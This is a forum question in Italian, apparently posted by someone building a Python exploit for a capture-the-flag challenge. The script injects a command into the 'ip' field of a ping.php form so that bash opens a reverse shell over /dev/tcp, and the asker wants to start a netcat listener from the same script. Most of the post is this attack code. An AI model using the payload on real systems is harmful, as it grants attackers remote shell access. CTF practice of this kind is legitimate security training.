Sto codificando un exploit in python che sfrutta una vulnerabilità di comando di iniezione per un CTF e mi chiedo come potrei avviare un listener netcat e quindi inviare il payload all'host remoto e una volta stabilita la connessione l'esecuzione dello script termina e mi porta alla connessione stabilita.
Questo è il mio codice:
url= "http://vuln_url:8080/ping.php"
IP_ADDRESS = 'local_ip'
PORT = '9999'
cmd = ';bash -i >& /dev/tcp/%s/%s 0>&1' % (IP_ADDRESS, PORT)
values = {
'ip': cmd,
'submit':'submit'
}
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
urllib2.urlopen(req)
Quello che voglio fare è qualcosa di simile a questo:
url= "http://vuln_url:8080/ping.php"
IP_ADDRESS = 'local_ip'
PORT = '9999'
cmd = ';bash -i >& /dev/tcp/%s/%s 0>&1' % (IP_ADDRESS, PORT)
values = {
'ip': cmd,
'submit':'submit'
}
#Some code to start the nc listener ¿(os.system("nc -l -p 9999 -vvv")?
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
#Execute the request and start the reverse shell
urllib2.urlopen(req)
#Code to drop me to the nc stablished connection
Non sono sicuro che una cosa del genere sia possibile. Qualche idea?